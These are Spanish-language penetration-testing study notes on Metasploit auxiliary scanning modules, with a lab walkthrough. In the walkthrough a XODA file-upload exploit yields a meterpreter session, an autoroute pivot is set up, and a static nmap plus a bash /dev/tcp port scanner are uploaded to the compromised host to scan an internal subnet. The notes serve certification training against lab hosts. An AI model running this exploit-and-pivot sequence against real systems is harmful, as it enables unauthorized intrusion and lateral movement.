> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/metodologias-de-evaluacion/enumeracion/motor-de-scripts-nmap-nse/escaneo-de-puertos-con-modulos-auxiliares.md).
# Escaneo de puertos con módulos auxiliares
Los **módulos auxiliares** de Metasploit son herramientas increíblemente versátiles diseñadas para ayudar durante las fases de reconocimiento, descubrimiento, escaneo y post-explotación de una auditoría de seguridad. A diferencia de los módulos de explotación, los módulos auxiliares no buscan comprometer un sistema directamente, sino recolectar información crítica que facilite futuras acciones ofensivas.
***
### 🛠️ ¿Qué son los Módulos Auxiliares?
Los **módulos auxiliares** permiten realizar tareas como:
* Escaneo de puertos (TCP y UDP).
* Enumeración de servicios (FTP, SSH, HTTP, SMB, etc.).
* Búsqueda de hosts activos.
* Fuzzing de servicios para detectar fallos o comportamientos anómalos.
* Validación de credenciales.
* Análisis de seguridad en aplicaciones y servicios.
Estos módulos pueden ser utilizados tanto **antes** (fase de reconocimiento) como **después** (fase de post-explotación) de haber comprometido un sistema.
***
### 🔍 Casos de uso típicos
* **Escaneo de puertos con auxiliary/scanner/portscan/tcp**:
```bash
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set THREADS 20
run
```
* **Enumeración de versiones en servicios FTP**:
```bash
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.1.100
run
```
* **Enumeración de títulos de páginas web**:
```bash
use auxiliary/scanner/http/title
set RHOSTS 192.168.1.0/24
run
```
***
### 🧩 Ejemplo de Uso en un Laboratorio
**Infraestructura del laboratorio**:
* Un primer objetivo accesible desde nuestra máquina atacante.
* Una red interna accesible **solo** desde el objetivo comprometido.
#### Fases:
1. **Escaneo inicial con módulos auxiliares** para identificar puertos y servicios del primer objetivo.
2. **Explotación de uno de los servicios descubiertos** (por ejemplo, SMB o HTTP vulnerable).
3. Una vez obtenido un **foothold**, se establece una sesión con `meterpreter`.
4. Usando **pivoting** y técnicas como `autoroute`, se accede a otra subred interna.
5. Finalmente, se utilizan de nuevo **módulos auxiliares** para escanear y reconocer servicios en los sistemas de la subred interna.
***
## 🧪 Laboratorio Práctico
**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.
**Paso 2:** Verifique si la máquina de destino es accesible:
**Dominio:**
```
ping -c 4 demo1.ine.local
```
El objetivo es alcanzable.
**Paso 3:** Escaneo de puertos con Nmap
Ahora podemos realizar un escaneo de puerto Nmap predeterminado en el destino para identificar los puertos abiertos en el sistema de destino, esto se puede hacer ejecutando el siguiente comando:
**Dominio:**
```
nmap demo1.ine.local
```
Como se muestra en la siguiente captura de pantalla, el escaneo predeterminado de Nmap revela el puerto 80 abierto.
**Paso 4:** Verifique el contenido HTTP alojado en el puerto 80 de la máquina de destino
**Dominio:**
```
curl demo1.ine.local
```
Como se menciona en el desafío, hay una instancia de aplicación web XODA ejecutándose en el sistema que puede explotarse utilizando el módulo Metasploit “exploit/unix/webapp/xoda\_file\_upload”.
**Paso 5:** Iniciar msfconsole
**Dominio:**
```
msfconsole
```
**Paso 6:** Seleccione el módulo mencionado y configure los valores de los parámetros
**Dominio:**
```
use exploit/unix/webapp/xoda_file_upload
set RHOSTS demo1.ine.local
set TARGETURI /
set LHOST 192.63.4.2
exploit
```
Se genera una sesión de meterpreter en la máquina de destino.
**Paso 7:** Inicie un shell de comandos e identifique el rango de direcciones IP de la segunda máquina de destino.
**Dominio:**
```
shell
ip addr
```
La dirección IP de la primera máquina de destino en su interfaz eth1 es 192.180.108.2, la segunda máquina de destino estará ubicada en 192.180.108.3 en la segunda red.
**Paso 8:** agrega la ruta a la tabla de enrutamiento de Metasploit.
**Dominio:**
```
run autoroute -s 192.180.108.2
```
**Paso 9:** Ponga en segundo plano la sesión actual de meterpreter y utilice el módulo portscan tcp de Metasploit para escanear la segunda máquina de destino.
Presione CTRL+z y Enter y para poner en segundo plano la sesión de meterpreter.
**Dominio:**
```
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.180.108.3
set verbose false
set ports 1-1000
exploit
```
**Paso 10:** Verifique los binarios estáticos disponibles en el directorio "/usr/bin/".
**Dominio:**
```
ls -al /root/static-binaries/nmap
file /root/static-binaries/nmap
```
**Paso 11:** Ponga en segundo plano la sesión de Metasploit y cree un script de escaneo de puerto bash.
Presione CTRL+z para poner en segundo plano la sesión de Metasploit.
Usando el script proporcionado en \[] como referencia, cree un script bash para escanear los primeros 1000 puertos
**Dominio:**
```
#!/bin/bash
for port in {1..1000}; do
timeout 1 bash -c "echo >/dev/tcp/$1/$port" 2>/dev/null && echo "port $port is open"
done
```
Guarde el script como bash-port-scanner.sh
**Paso 12:** Ponga en primer plano la sesión de Metasploit y cambie a la sesión de meterpreter.
Presione "fg" y presione enter para poner en primer plano la sesión de Metasploit.
**Dominio:**
```
sessions -i 1
```
**Paso 13:** Cargue el binario estático nmap y el script del escáner de puerto bash en la máquina de destino.
**Dominio:**
```
upload /root/static-binaries/nmap /tmp/nmap
upload /root/bash-port-scanner.sh /tmp/bash-port-scanner.sh
```
**Paso 14:** Haga que el binario y el script sean ejecutables y use el script bash para escanear la segunda máquina de destino.
**Dominio:**
```
shell
cd /tmp/
chmod +x ./nmap ./bash-port-scanner.sh
./bash-port-scanner.sh 192.180.108.3
```
Hay tres puertos abiertos en la máquina de destino: los puertos 21, 22 y 80.
**Paso 15:** utilizando el binario nmap, escanee la máquina de destino en busca de puertos abiertos.
**Dominio:**
```
./nmap -p- 192.180.108.3
```
Los servicios que se ejecutan en la máquina de destino son FTP, SSH y HTTP.
#### Referencias
* \[]